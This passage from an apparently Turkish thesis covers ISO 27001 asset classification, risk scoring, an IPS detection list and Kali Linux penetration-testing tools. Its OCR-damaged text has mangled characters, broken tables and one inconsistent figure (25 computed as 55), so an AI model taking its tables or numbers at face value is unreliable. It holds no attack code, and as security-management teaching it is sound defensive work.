sonucu su gruplar dogrudan etkilenecektir.

* A projesini kullanan Merkez Birimler ve Ege Bolgesi Miidiirliigi ug kullanicilar

* Personel-bordro,evrak akig,muhasebe uygulamasi yapan tiim ug kullanicilar

Merkez bina,B1 kati, B-111 numarali odada bulunmaktadir.

Isletim sistemi: X

Veritabani: Y

Uygulamalar: B, C ve D uygulamalar1, personel-bordro
Evrak takip ve muhasebe uygulamalar

Donanimsal anlamda yedeklenmistir; RAID, Mirroing veya Cluster yapis1 yoktur. Bilgiler
UNIX isletim sistemi komutlariyla belirli zamanlarda kartuslara yedeklenmektedir. Bu
donanim bir UPS sistemine baglidir.

10.a.b.c

Bu donanima,sistem sorumlusu tarafindan sistem konsolu iizerinden veya uzaktan Telnet ile
erigilebiliyor, SSH kullanilmiyor. Erisim i¢in root sifresi sorulmaktadir .

Bilgi islem daire bagkani
Sistem sorumlusu

Bu donanim tizerinde ¢alisan isletim sistemi UNIX Versiyon X.0.1

Ozellik Ag¢iklama
Erisim yetkisine sahip Kisler Sistem sorumlusu
Kritiklik Yiiksek (5)
Gizlilik Cok gizli(5)
Varlik Degeri 25 (Kritiklik x Gizlilik)
Maddi Degeri 100.000 $
Hizmet Verdigi Grup Tiim kurum galisanlari
Ozellik Ag¢iklama
Yazilimin Adi B, C ve D uygulama yazilimlaridir.
Kaynak kodlar Java programlama dili ile gelistirilmistir.
Aciklama Bu yazilimi kullanan ug kullanicilar i¢in kullanici ismi ve sifre girmek gereklidir. Kullanici

Hangi Donamm Uzerinde
Calistyor?

Sorumlu Personel

Yetkili Personel

Kritiklik
Gizlilik

Varlhik Degeri

Hizmet Verdigi Grup

ismi tanimlamak degistirmek/silmek/sifre vermek/modiiler kullanim haklar1 vermek gibi
islemler VTYS yoneticisi tarafindan yapilmaktadir.Yazilim bakimi X firmasinca ve bilgi
islem daire baskanlig1 personeli tarafindan yapilmaktadir. Kullanicilar ilk sifre verildikten
sonra sifrelerini kendileri degistirebilmektedir. Kaynak kodlar1 ¢ok iyi korunmalidir.

Uygulama sunucusu iizerinde ¢aligmaktadir.

Bilgi islem dairesi bagkani

Kaynak kodlarinin yazilmasi, programlarda degisiklikler, ilaveler ve raporlamalar bilgi islem
dairesi bagkanliginda gorevli programcilar tarafindan yapilmaktadir.Veritaban1 kaynaklar
acisindan bakildiginda ise veritabani yoneticisi yetkilidir.Bolgelerde bu anlamda yetkili
personel yoktur. Bu yazilimi giinliik islemleri sirasinda kullanmaya yetkili personel N,M,T ve
U dairesi baskanliklar1 personeli, hukuk miisavirleri ve bolgelerin yetkili personelidir.

Yiiksek(5)

Cok gizli(5)

25 (Kritiklik x Gizlilik)

Bu yazilimlart merkezde N, M, T ve U dairesi baskanliklar1, hukuk miisavirleri ve bolgelerin

personeli giinlik normal islemlerini yiriitmek i¢in kullanilmaktadir, bilgi islem dairesi
baskanlig ise teknik destek vermektedir.
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4.4.1.2 Yazihm Varhg Asamasi

Bilgi sistemleri yazilim varliklarinin (uygulama ve hazir hizmet yazilimlari) kritiklik ve
gizlilik seviyeleri hakkinda bilgi asagida verilerek; Cizelge 4.2°de bir Ornegi
gosterilmistir.

e Kiritiklik (Erisilebilirlik + Biitiinliik)

Yazilim kritikligi ii¢ seviyede belirlenir:

Yiiksek: Bu yazilimin devre dis1 kalmasi is siirekliligini biiyiik 6lciide etkiler. Yiiksek
kritiklige sahip bir yazilim iki saate kadar devre dis1 kalabilir. Yazilim biitiinliigii
vazgecilmez dneme sahiptir. Kritik puan1 5’tir.

Orta: Bu yazilimin devre dis1 kalmasi durumunda, sistem ¢alismaya devam eder ancak
uygulamalarin bir boliimii zarar gérmiis veya gecici olarak kullanilmaz duruma gelmis
olabilir. Orta kritikteki bir yazilim kirk sekiz saate kadar devre dis1 kalabilir. Kritik
puani 3’tiir.

Diisiik: Bu yazilimin devre dis1 kalmasi durumunda sistem giivenligi etkilenmez. Sistem

cogu islevleri ile ¢alisir durumda olmaya devam eder. Diisiik kritiklige sahip bir yazilim

iki giine kadar devre dis1 kalmasi kabul edilebilir. Kritik Puani 1°dir.

e Gizlilik Derecesi

Gizlilik derecesi: Bu yazilimin kontroliiniin yetkisiz kisilerin eline gegcmesi durumunda

sistem giivenliginin diisecegi duruma gore belirlenir. Gizlilik puani 5’tir.

Cok Gizli: Bu gizlilik derecesindeki bir yazilimin kontroliiniin yetkisiz kisilerin eline

gecmesi durumunda bilgi giivenligi tehlikeye girer. Gizlilik puani 5’tir.

Gizli: Bu gizlilik derecesindeki bir yazilima ait erisim bilgilerinin ortaya ¢ikmasi
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durumunda, bilgi giivenligi tehlikeye girmez ancak yalnizca bu bilgi varligina yetkisiz

kisilerin erismesi miimkiin hale gelir, zafiyet yaratabilir. Gizlilik puani 3 tiir.

Onemsiz Gizlilik: Bu gizlilik derecesindeki bir yazilima yetkisiz erisim durumunda,

sistem giivenirligi ve is siirekliligini etkileyecek bir durum olmaz. Gizlilik puan1 1’dir.

Cizelge 4.2 Hazir hizmet yazilimi varliklan 6rnegi (Ersoy 2012).

Ozellik Ac¢iklama
Yazihmin Adi ‘2’ Giivenlik Duvari Yazilim
Bu yazilimin yiiklii oldugu F sunucusuna erigim igin yonetici sifresi gerekmektedir. Loglarin ve sistem
kaynaklarinin bakimi Bilgi Islem Dairesi Bagkanliginca yapilir. Bu yazilimin devre dist kalmasi tiim
Aciklama yerel agin internet iizerinden yapilan saldirilara ag¢ik duruma gelmesine, erisim kurullarinin

calismamasma ve NAT yapilamayarak i¢ ag adreslerinin disariya agik hale gelmesine neden olur.
Giivenlik agisindan ¢ok onemli bir yazilimdir. Kurumun i¢ ve dis saldirilara karsi korunmas: gérevini
yapan bu programa erisim ¢ok kisitli olmalidir.

Hangi Donanim

Uzerinde Calisiyor F sunucusu tizerinde ¢alismaktadir.

Sorumlu Personel  Bilgi slem Dairesi Bagkani

Log izleme, erisim kurallar1 tammlama, parametre ayarlama Bilgi Islem Dairesi Baskanlig1 ag destek
Yetkili Personel sorumlusu tarafindan; isletim sistemi kaynaklar1 yonetimi ve Sorun giderme operasyonlari ise Bilgi Islem
Dairesi sistem sorumlusu tarafindan yapilmaktadir.

Kritiklik Yiiksek (5)
Gizlilik Cok gizli (5)
Varlik Degeri 55 (Kritiklik x Gizlilik)

Hizmet Verdigi
Grup Kurumun LAN/WAN ag hizmetlerinden yararlanan tiim birimleri

4.4.1.3 Bilgi Varhg1 Asamasi

Bilgi sistemleri bilgi varliklar1 kritiklik ve gizlilik seviyeleri hakkinda bilgi asagida

verilerek; Cizelge 4.3’te bir 6rnegi gosterilmistir.

e Kiritiklik (Erisilebilirlik + Biitiinliik)

Bilgi varliklarinin kritikligi ii¢ seviyede belirlenir:

Yiiksek: Bu varligin devre dis1 kalmasi tiim is fonksiyonlarini devre dis1 birakir. Bilgi
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giivenligi ve biitiinligl tehlikeye girer. Sistem biiyiik oranda kullanilmaz hale gelir.
Yasal yiikiimliiliiklerinin faturalar1 karsimiza c¢ikar. Yiksek kritiklik derecesine sahip
bir varligin (6zellikle veri tabanlar1) bir saate kadar devre dis1 kalmasi kabul edilebilir.

Kritik puani 5’tir.

Orta: Bu varligin devre dis1 kalmasi durumunda, sistem caligmaya devam eder ancak
sistemin bir boliimii zarar goérmiis veya gecici olarak kullanilmaz duruma gelmis
olabilir. Orta kritiklige sahip bir varligin sekiz saate kadar devre dis1 kalmas1 kabul
edilebilir. Kritik puan1 3’tiir.

Diisiik: Bir varligin devre dist kalmas1 durumunda sistem ve bilgi giivenligi etkilenmez.
Sistem tlim iglevleri ile ¢alisir durumda olmaya devam eder. Diisiik kritiklige sahip bir
varligin iki giine kadar devre dis1 kalmasi kabul edilebilir. Kritik puan1 1°dir.

e Gizlilik Derecesi

Gizlilik derecesi li¢ seviyede belirlenir.

Cok Gizli: Bu gizlilik derecesindeki bir varlik kesinlikle yetkisiz kisilerin eline
gecmemelidir. Bu durumda sistem ve bilgi giivenligi tamamen tehlikeye girer. Gizlilik
puani 5’ tir.

Gizli: Bu gizlilik derecesindeki bir varliga ait erisim bilgilerinin ¢ikmasi durumunda,
sistem ve bilgi varhiina yetkisiz kisilerin erismesi mimkiin hale gelir, zafiyet

yaratabilir. Gizlilik puan1 3’ tiir.

Onemsiz Gizlilik: Bu gizlilik derecesindeki bir varliga erisilmesi durumunda, sistem

giivenligi ve is stirekliligini etkileyecek bir durum olusmaz. Gizlilik puan1 1’ dir.
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Cizelge 4.3 Bilgi varlig1 6rnegi (Ersoy 2012).

Ozellik Ac¢iklama

Bilgi Varhigin Adi X veY veritabanlari

Bu bilgi varliklarini giinliik islemler sirasinda kullanmak igin her ug kullanicinin kullanict
kimligi ve sifresi vardir. Bakimini yapabilmek igin VTYS kullanicist olarak yetkili

Aciklama sifrenin bilinmesi gerekir.
Hangi Donamm Uzerinde Calistyor X ve Y sunuculari lizerinde ¢aligmaktadr.
Hangi yazihm Erisiyor B,C,D uygulama yazilimlari,personel takip/bordro ve evrak yonetimi
Sorumlu Personel Bilgi islem Dairesi Baskan

Gorevleri B, C ve D uygulamalart olan ug¢ kullanicilar (merkez ve bolgelerde), evrak
girisi/gikis/izleme yapan ug kullanicilar,personel ve bordro isleri yapan ug kullanicilar.

Yetkili Personel Baklm,a){ar,gomn gide_rme,YTYS o?jele.ri. lfa){.n:ikn tahsisi v.b. operasyonlart ise Bilgi
Islem Dairesi Baskanlig1 veritabani yoneticisi yiriitiir.

Kritiklik Yiiksek(5)
Gizlilik Cok Gizli(5)
Varlik Degeri 25 (Kritiklik x Gizlilik)
Hizmet Verdigi Grup Tiim kurum galisanlari

4.4.2 Bilgi Giivenligi Yonetim Sisteminin Kurulumunun Degerlendirmesi

Bilgi giivenligi yonetim sisteminin kurulumunun degerlendirilmesi asamasinda varlik
yonetimi bosluk analizi denetim siireci, is etki analizleri, risk etki degeri belirleme ve

son olarak risk etki degeri degerlendirme agamalar1 incelenmistir.

4.4.2.1 Varhk Yonetimi Bosluk Analizi Denetimi Siireci

Bir kurum kendi igerisinde standardi uygulamadan once, kurumda mevcut olan
uygulamalarin  standardin  getirdigi 6nemli maddeleri ne kadar karsiladigin
belirleyebilmektedir. Bunun igin is siiregleri kontrol listesini kullanarak kurumun ne
durumda oldugunun agik¢a ortaya konulmasi ve kurumun giivenlik agisindan hangi
seviyede oldugunun net olarak goriilmesi 6nemli bir calismadir. Cizelge 4.4’te varlik
yonetimi uygunluk diizeyi ¢izelgesi i¢in bir 6rnek verilmektedir. Bu 6rnekten kurumun
cok gecmeden standardi uygulayarak giivenlik diizeyini yukari seviyelere g¢ekmek
zorunda oldugu anlasilmaktadir. Cizelge incelendiginde kurumun standardin bir¢ok ana
maddesinde zayif ya da ¢ok zayif oldugu goriilmiistiir. Bu tiir ¢arpict tespitler, kurum
list yonetiminin de konuyu ve durumun aciliyetini algilayabilmeleri agisindan c¢ok

Onemlidir.
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Cizelge 4.4 Varlik yonetimi denetimi siireci drnegi.

Bilgi Giivenligi Yonetimi
ISO/IEC 27001 Standardina Uygunluk Diizeyi Cizelgesi

Standardin Ana Maddeleri Cok lyi Tyi Kritik Zayif  Cok Zayif
Giivenlik Politikast X
Bilgi Giivenligi Organizasyonu X
Varlik Yonetimi X
Insan Kaynaklar1 Giivenligi X
Fiziksel ve Cevresel Giivenlik X
Haberlesme ve isletim Yonetimi X
Erisim Kontrolii X
Bilgi Sistemleri Edinim, Gelistirme ve Bakimi X
Bilgi Giivenligi Thlal Olay1 Yonetimi X
X

Is Siirekliligi Y6netimi
Uyum X

4.4.2.2 Is Etki Analizi Siireci

Is siirekliligi yonetim sisteminin en temel siireclerinden biri is etki analizi ISO 22301’
dir. Ciinkii is stirekliligi caligmalar1 is etki analizine gore gerceklestirilir ve devam
ettirilir. Is akislarinda gerceklesmesi olasi bir kayip, aksama ya da kesinti gibi

durumlarin is siireglerine etkisi is etki analiziyle nitel ya da nicel olarak tanimlanabilir.

Is etki analizi, herhangi bir kesinti kayip ya da aksama gibi durumlarda ortaya ¢ikacak
sonuclarin kayip zaman siiresince etkisinin dokiimante edilmesi, kurtarma zaman
hedefinin (RTO) ve kurtarma zaman hedefinin (RPO) belirlenmesi, is akiginin etkin
olarak siirdiiriilebilmesi i¢in i¢ ve dis bagimliliklarinin belirlenmesi gibi durumlari

amagclar.
Ayrica; is etki analizi ¢ok bliyiik is degisimleriyle karsi karsiya kalindiginda kesinti

etkisini belirlemek i¢inde kullanilabilir. Is etki analizi siirecinin bir &rnegi Cizelge 4.5’te

gosterilmistir.

20



Cizelge 4.5 Is etki analizi cizelgesi (Ersoy 2012).
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4.4.2.3 Risk Etki Degeri Belirleme

Belirlenen kapsamda bulunan varliklar tespit edildikten sonra tehditler, agikliklar ve

mevcut kontroller belirlenir.

Daha sonra olasilik degerlendirmesi ve etki analizi gergeklestirilir. Risk
derecelendirmesi yapabilmek i¢in olasilik degerlendirmesinden sonra gelen adim etki
analizidir. Etki analizinde herhangi bir acikligin gergeklesmesi halinde yasanacak olasi

olumsuz etki seviyesi belirlenir.

Bunun i¢in varligin gorevi, kritikligi, varligin etkiledigi verinin hassasiyeti ve varligin

mali degeri gbz Oniine alinmalidir.

Bu bilgiler daha 6nceden yapilmis is etki analizi raporlarindan alinabilir. Eger daha

once yapilmis bdyle bir ¢alisma yoksa sistemin kritiklik seviyesi sistemin (sakladigi
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veya isledigi verinin) biitlinliigiinii, gizliligini ve erisilebilirligini korumak i¢in gerekli

koruma g6z Oniine alinarak niceliksel olarak ¢ikarilabilir.

Ayrica sistemin yenilenme maliyeti, ¢alismamasi durumunda olusabilecek gelir kaybi

gibi bazi niteliksel etkiler de etki analizinde goz oniine alinabilir.

Niceliksel bir etki analizinde olasilik degerlendirmesinde oldugu gibi kurum kag
kademeli bir degerlendirme yapacagimi ve kademelerin nasil belirlenecegini
tanimlamalidir. Bu kademeler genel olarak kuruma ve degerlendirilen varligin

Ozelliklerine gore ¢esitlendirilebilir.

Zafiyet aciklik faktorleri daha onceki caligmalardan 6rnek alinabilecegi gibi kurum
icerisinde belirtilen konuda yetkin ve BGYS'de gorev alacak personelin goriisleri
alinarak olusturulabilir. Bes seviyeli bir etki degerlendirmesi i¢in asagidaki belirli risk
kriterlerine ve is siirekliligini etkileme olasiliklarina karsi ¢esitli diizeylerde risk etki
degeri atamalarina Cizelge 4.6 Ornek olarak gosterilebilir. Cizelgenin genisletilip

daraltilabilmesi kurumun bakis agisina birakilmstir.
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Cizelge 4.6 Risk etki degerini belirleme (Ersoy 2012).

TEHDIDIN ETKi DEGERI

DONANIMLAR

BELIRLEME CiZELGESI - Nicel Yaklasim

@BO

TEHDIDIN ETKI DEGERLERI:1 En Diisiik, 5 En Yiiksek, max. 100 puan (5x20), min. 20 puan (1x20) Zafiyet /
Aciklik puam arttik¢a tehdidin varhigi olumsuz yonde etkileme degeri de 1' den 5' e dogru artar

B

C

ZAFIYET / ACIKLIK FAKTORLERI

1-Fiziksel Konum
Kart Girigli Boliim (1) - Anahtarli Béliim / Sadece Gorevli Girebilir (2), Anahtarli Boliim / Diger Personel Girebilir (3),
Anahtarsiz Bolim (4) - Serviste A¢ik Ortamda (5)

2-UPS

Var (1), Yok (5)
3-Jenerator

Var (1), Yok (5)
4-Klima

Var (1), Yok (5)
5-Kiimel (Dona I/'Yazilimsal)

Var (1), Yok (5)
6-RAID(Donanimsal/Yazilimsal)

Var (1), Yok (5)
7-Kritiklik (Referans: Donamim Varhiklar1 Tablosu)

Diisiik (1), Orta (3), Yiiksek (5)
8-Yedeklerin Saklandig Ortam

Yanmaz Kasa (1), Ayr1 Binada/Ozel Béliimde (2), Ayri Binada/Agik Boliimde (3), Sistem Odasi/Agikta (4),
Serviste/Agtkta (5)
9-TEMPEST

Var (1), Yok (5)
10-YANGIN

Alarm/Otomatik Sondiirme Var (1), Manuel Séndiirme/Yangin Tiipii (3), Onlem yok (5)
11-Bakim Anlasmasi

Var (1), Yok (5)
12-Patch (Yama) Takibi

Otomatik Yapiliyor (1), Dénemsel/Uyar1 Geldikge (3), Takip edilmiyor (5)
13-Root/Administrator Sifre Degisim Sikhig

Her giin (1), Her Hafta (2), Her Ay (3), Her 3 ay (4), Gelisigiizel (5)
14-Sifre Verme Yontemi

Coziilmesi zor sifre (1), Gelisigiizel, ¢oziilmesi kolay sifre (3), Birden fazla kisinin bildigi, korunmayan sifre (5)
15-Kolayca Yerine Koyulabilir mi?

Para ile satin alinabilir (1), Satin alinabilir, ¢ok pahali (3), Satin alinsa bile bilgiler / prestij kaybedebilir
16-Giivenlik Duvari

Var (1), Yok (5)
17-Bakim Firmalarmin Erisimi

VPN li giris (1), rlogin (2), ... (3), ...(4), VPN'siz (5)

18-Uzerindeki Uygulamanin Kritiklik Seviyesi
(Ref: Yazihm Varliklan ve Bilgi Varhiklar: Tablosu)

Diisiik (1), Orta (3), Yiiksek (5)
19-Donanmimsal Yedek Varsa Bulundugu Yer

Farkli sehirde (1), Ayn1 sehir - farkli semt (2), Ayni bina - farkli kat (3), Ayni bina ve servis -farkli boliim (4), Yok (5)

20-Yetkili Personelin Niteligi
(Ref: Donamim Varliklar: Tablosu)

fleri Diizeyde Egitimli (1), Orta Diizeyde egitimli (3), Egitimi yeterli degil (5)

TEHDIDIN TOPLAM ETKi DEGERI

Tehdidin Etki

69

Degeri

59

59
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4.4.2.4 Risk Degerlendirme

Risk degerlendirmesi, riskler belirlendikten sonra risklerin o6l¢iilmesi ve Ol¢im
sonuglarina gore Onceliklendirilmesi faaliyetlerini igerir. Risk degerlendirmesi risk
belirleme caligmalar1 sonucu ortaya ¢ikan risklerin 6nem sirasinin belirlenmesine ve
hangi risklere kars1 kontrol faaliyetleri belirlenecegine karar verilmesine yardimci olur.
Risk belirleme caligmalar1 sonucu ortaya c¢ikan kurumsal ve faaliyet risklerinin
ger¢ceklesme olasiligi ile zaman, maliyet, performans ve itibar agisindan etkileri
degerlendirilir. Risklerle ilgili etki ve olasilik degerlendirmesi bireysel olarak
yapilmalidir. Donanim varliklar1 acisindan Kayip Beklentisi = Varlik Degeri x Etki
Diizeyi formiilii adi altinda risk degerlendirmeye bir oOrnek Cizelge 4.7°de
verilmistir(Ersoy 2012). Buradaki risk yaklasimi besinci boliimde farkli olarak ele
almmistir. Formiil icerisindeki etki degeri yani sira tehdidin gergeklesme olasiligi

eklenip, etki degeri de tamamen farkli olarak algilanmistir.

Cizelge 4.7 Risk degerlendirme ¢izelgesi (nicel yaklagim 6rnegi).

Varhk Adi Vaf hk. Tehdld'm .Etkl Risk Almacak Onlemler Amaclalvlan' Risk
Degeri Degeri Degeri

a,b,c... onlemleri alinacak v.b. Agik
sekilde tek tek yazilacak ve 6nlem
alma tarihleri belirtilecektir.Ornegin

A 25 69 1725 . . L 950 (Kabule bagli)
jenerator satin almak i¢in xx/yy/zzzz
tarihinde ihaleye ¢ikildi/gikilacak

gibi.
B 15 59 885 L
C 20 59 1o Ll
D 25 100 2500
E 25 80 2000 Ll
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5. RISK ANALIiZi TANITIM VE OZELLIKLER

5.1 Risk nedir ?

Risk, var olustan beri 1rk, cinsiyet, dil veya din farki olmaksizin tiim insanoglunun
karsilastig1 bir durumdur. Genellikle insanlarin varligini, yasamini, amaclarini ve sahip
olduklar1 kaynaklari tehdit edebilen, ancak ne zaman ve ne sekilde olacag: bilinmedigi

icin 6nlem alinmamis olan durumlari ifade eder (Kizildag 2011).

Risk analizindeki asil amag risk unsurlarinin belirlenerek bunlarin verecegi zararlari
ortadan kaldirmak amaciyla onlemler alinmasidir. Risk degerlendirmesine gecerken
daha Onceden belirledigimiz varliklarin ne gibi zayifliklar1 oldugunun ve bu
zayifliklarin nasil kotiiye kullanilabilecegi iizerinde duracagimizin farkinda olmamiz

gerekir.

Onemli noktalardan biri de varligin risk degerlendirmesi yapilmasimin uygun goriilmesi
icin bu riskler sonucu meydana gelecek olan zararlarin maliyetinin alinacak O6nlemler

i¢cin harcanacak maliyetten daha yiiksek olmasi gerekmektedir (Borek et al. 2014).

Risk degerlendirmesi sonucunda ortada kalan riske “artik risk” denir. Degerlendirme
sirasinda bir riskin bagka onlem alabilecek birim ya da elemanlara aktarilip onlarin
sorumlulugunda olmasina “risk transferi” denir. Kendimiz tarafindan ilgilenilecek
riskler 6nlemlerle azaltilabilir, kacinilabilir, bunlar sonucunda hala varsa kabul etmek

zorunda kalinabilir.

Risklerin degerlendirilmesinde kullanilan baslica iki yontem vardir:

1 - Nicel Tahmin: incelenilen risklerin sayisal degerlerle ifade edildigi ve hesaplamalar,

formiillerle ifade edilebilecek yaklagimdir.

2 - Nitel Tahmin: Incelenilen riskler sayisal degerlerle degil de harfler ve seviyelerle

ifade edildigi yontemlerdir ve bu yilizden hesaplamalar ile kullanilamazlar.
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Yaklagim olarak risk tanimlamalar1 bilesen ya da siire¢ tabanli tanimlanabilirler. Bunlar
arasindaki fark birinin varliklar iizerinde teker teker durmasi digerinin ise siiregler

icerisindeki varliklarla beraber degerlendirmesidir.

5.2 Risk Degerlendirme Yontemi Se¢imi

Risk degerlendirme yontemi olarak nicel yontem secilmistir. Bunun sebebi nicel
yaklasimlarla elde edilecek degerlerle risk giivenlik diizeyinin otomatik olarak kontrol
edilebilecek ve riske yonelik yontemlerin daha fazla sayisal degerle daha iyi seviyelere
getirilebilecek olmasidir. Burada alarm durumu seviyeleri ile kademeli kontrol

saglanabilir.

Bu incelemeler sonucunda riskin en iyi ifade edilme formiilii olarak varlik degeri,
tehdidin gerceklesme olasiligt ve tehdidin etki degerinin g¢arpilmasi belirlenmistir

(Anonim 2011).

Risk = Varlik degeri x Tehdidin Gerg¢eklesme Olasilig1 x Tehdidin Etki Degeri

Varlik degeri grup ici anketler ve uzman degerlendirmeleriyle belirlenmistir. Burada
varsayim ve tahmin ile elde edilebilmesi yaklagimdaki risk oranini artiran iki deger
tehdidin gergeklesme olasiligi ve tehdidin etki degeridir. Formiilde belirtilen tehdidin
gerceklesme olasiligi ve tehdidin etki degeri unsurlarinin tahmin yontemiyle
hesaplanmas: yerine bunlarin sayisal olarak ifadesi igin IPS (Saldir1 Onleme Sistemi)
sisteminden saldir1 sayilart ve NVD’den de (Ulusal Giivenlik A¢ig1 Veritabani )

kendine 6zgii hesaplama yonetimi ile elde edilen rakam alinmistir.

IPS saldirty1 etkili olmadan bu saldirty1 pasif hale getiren bir sistemdir. IPS cihazlar1 ag
yapisinin i¢ ve dis trafigini iizerinden gegirerek bu trafik iizerinde meydana gelen i¢ ve
dis saldirilart otomatik olarak engeller. Bu cihazlar saldirilari tespit etmek igin hazir
zararlh imzalarin yan1 sira istatistiksel degerlendirmeler sonucu ortaya ¢ikan durumlari
da bilgi olarak kabul ederler. Cihazin ticari olmasi zararli imzalar1 konusunda daha

genis bir veri tabanina sahip olmasini saglar.
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No.  Filter Name Sewverity Hits
T | 0560: DNS: Version Reguest (UDP) Minor 3.043
8 | 16775 HTTP: BifTorrent Site Access E Low 2.559
S | 0051: IP: Source IP Address Spoofed (Im._ Critical Tr3

10 | 0290: Invalid TCP Traffic: Possible Recon... Minor 140
11 | 02592 Invalid TCP Traffic: Possible Recon... Minor 55
12 | 13847: HTTP: uTorrent Client Download E Low 45
13 | 8364 IPv6: Source IP Address Spoofed ... |:| Major 45
14 | 0092: Loki: Default Client Communication... ﬁ Critical =y
15 | 2800: HTTP: 1A WebMail Server Buffer O... Critical 24
16 | 0091: Loki: Default Client Communication... Critical 23
17 | ¥173: DoS: Engine Protection E Lows 20
18 | 6508: HTTP: GetDropbox.com Access E Lows 14
19 | 2556: HTTP: HTTP CONNECT TCP Tunnel ... |8 Major 12

20 | 4520: HTTP: Megaupload Site Access E Lows 9

21 | 10600: MS-RPC: Big Endian RPC Bind Re... |1 Major T

22 | 12607: Backdoor: Zero Access Trojan C... |:| Major T

23 | 12348: HTTP: PHP-CGI Query String Para... Critical s

24 | 0052: IP: Source IP Address Spoofed (L... |:| Major 3

25 | 2226: Backdoor: TCP Window Size S580... Minor 3

26 | 14558 MS-S0L: Slammer-Sapphire Worm Critical 3

27 | 5767 HTTP: Suspicious Jawvascript Meth. .. |:| Major 2

Resim 5.1 IPS {izerinden saldir1 cinsi ve sayisi tespiti.

Resim 5.1°de gosterilen IPS tarafindan tespit edilen ya da sistem taramalari sonucunda
ortaya ¢ikan saldir1 ve zararhlarin sayisi tespit edildigi i¢cin bundan sonraki kisimda
bunlarin etkilerinin rakamsal olarak ifadesi icin bir yol aranmistir. Burada IPS
tarafindan engellenen saldir1 tipleri ve bu saldirilarin gerceklesme sayilart belirtilmistir.
Bu noktada en Onemli giivenlik ireticilerinin destek oldugu ve Amerika Birlesik
Devletleri’nde yaygin giivenlik a¢ig1 skor sistemi olarak adlandirilan CVSS (Yaygin
giivenlik acig1 Puanlama Sistemi) baz alinmigtir. Resim 5.2°de bu sisteme gore tizerinde
olusturulmus arama motoru lizerinden ¢alisma ara yiizli gosterilmistir. Bu sistem kendi

icinde li¢ metrik gruba ayrilmistir. Bunlar temel, gecici ve ortamsal degerlendirmelerdir.

National Vulnenahility Database

automating vulnerability managem - ity measurement, and compliance checking
Vulnerabilities Checklists B800-53/800-53A Product Dictionary Impact Metrics

Home SCAP | scap validated Tools |scap Events | About cont

Mission and Overview

. Search CVE and CCE Vulnerability Database

government repository (Advanced Search)

of standards based Keyword search: | || search |
vulnerability
management data. Th_'S Try a product or vendor name

data enables automation Try a CVE standard vulnerability name or OVAL query

of vulnerability Only vulnerabilities that match ALL keywords will be returned

management, security Linux kernel vulnerabilities are categorized separately from vulnerabilities in specific Linux distributions
measurement, and
compliance (e.g. FISMA].

Resource Status

NVD contains: _ : c
70918 CVE Vulnerabilities Show only vulnerabilities that have the following associated resources:

earch All
earch Last 3 Months
D Search Last 3 Years

298 Checldists
249 US-CERT Alerts
4365 US-CERT Vuln Notes

[¥] software Flaws (CVE)
Misconfigurations (CCE), under development

10286 OVAL Queries [[]US-CERT Technical Alerts
104894 CPE Names [[JusS-CERT Vulnerability Notes
Last updated: 7/2/2015 L1OVAL Queries
4:12:13 FM

CVE Publication rate: 15.9 NVD now maps to CWE! See NVD CWE for more details.

Resim 5.2 NVD iizerinden tehdidin etki degeri (int.Kyn.2).
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5.3 Risk Orani Diisiirme Calismalari

Risk degerlendirmesi sonucunda yiiksek c¢ikan wunsurlara bu oranlart diigiirme
caligsmalar1 yapilir ve sistemsel olarak alinabilecek onlemler gerceklestirilir. Bunlarin
sonucunda elde edilen sonuglar goézlenerek riskin diisme orani bulunur. Bu oran

istenilen diizey altinda ise bagarili olunmustur.

Bu caligmalara 6rnek olarak sistem taramasinda bulunmus olan acgikligin isletim
sisteminin giincellenmemesi tizerine olustugu anlasilmistir. Bu giincelleme o donem
icin riskin ortadan kalkmasini bir sonraki giincelleme dénemine kadar da riskin oraninin

azalmasini saglamustir.

Eger alinan tiim Onlemlere ragmen olay gerceklesirse bunun sonucunda ortaya
konulmasi gereken planlar belirlenmelidir. Bu yine personele verilen islerde sisteme

zarar verilmesi sonrasi tekrar ayaga kaldirilmasi olarak goriilmelidir.

5.4 Risk Degerlendirmesinde Kullanilacak Olan Sizma Testleri

Risk degerlendirmesinde kullanilacak olan sizma testleri temel sanal gilivenlik
sistemlerinin testleri i¢in yapilan, zafiyetleri inceleyip ona gore raporlama sunan, ortaya
cikan aciklik konusunda da ¢oziimler bulunmasini saglayan testlerdir. Ayrica bu
ortamlarda cesitli gelistirme araglar ile hedefe uygun ve kontrolii elimizde olan kendi

araglarimizi yazabiliriz.

Bu testler yapilirken bir¢ok faktér goz Oniine alinir, ancak genelde en zayif halka
insandir. Insan faktorii giiclii sistemlere gore daha kolay atlatilabilir. Yani saldirgan
daha 6nceden testleri yapilmis sistemler {izerinde acik aramasi yerine mevcut sistemde
kullanict roliinii iistlenmis olan insan faktoriinii sosyal miihendislik benzeri yontemlerle
kandirarak sisteme daha kolay giris yapabilir. Bunun sonucu olarak ne kadar gii¢li
sistemler kurulursa kurulsun i¢inde insan faktoriinii tam olarak analiz etmeyen sistem

her zaman basarisiz olacaktir.
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Sizma testleri i¢in acgik kaynak kodlu bir Linux tiirevi olan Kali Linux isletim sistemi
hazir giivenlik araglarini iizerinde bulundurdugundan uygun olacaktir. Sistem Ubuntu
GNU (GNU Unix Degildir) tabanli olup birgok sistem ydneticisi ve giivenlik uzman
tarafindan aktif olarak kullanilmaktadir (Uysal 2014). Uzerinde bircok giivenlik zafiyet

testleri, raporlama araglar1 ve adli bilisim yazilimlart bulunur.

Ana konumuz olan ISO 27001°de sizma testlerinin yapilmasint zorunlu kabul etmistir.
Kali Linux bir¢ok hazir sizma testi ve giivenlik araglarin1 biinyesinde bulundurur.
Sistemi direkt olarak bilgisayarimiza yiikleyebilecegimiz gibi Vmware Workstation gibi

sanallagtirma ortamlarinda kurarak islevsel hale getirebiliriz.

Hedef sistem ve agdaki agikliklarindan faydalanabilir ve raporlayabiliriz. Ayrica ger¢ek
diinyay1 simiile edip ilk 6nce buradaki sistemler iizerinde deneyerek basari oranlarina

bakabiliriz.

Applications Places
fE Accessories

#@ Electronics

3‘ Graphics

. Hamradio

. Internet

w Office

; Programming

B sound & video =
oly Web Applications

@ System Tools

2 ‘h Cisco Tools
2 ‘h Database Assessment
> % Fuzzing Taols

Y oy
g Wireless Attacks > % Misc Scanners
)

>
(‘ Password Attacks
& Exploitation Tools b l'h Open Source Assessment

ﬁ Sniffing/Spoofing n OpenVAS ) \ openvas check setup

E Maintaining Access

g Reverse Engineering
1. -

‘3,:‘ Stress Testing

L: Hardware Hacking

'f“; Forensics

=

[E¥ Reporting Tools

im' System Services

\ openvas feed update
\ openvas-gsd
\ openvas initial setup
\ openvas start
\ openvas stop

Resim 5.3 Kali Linux isletim sistemi.

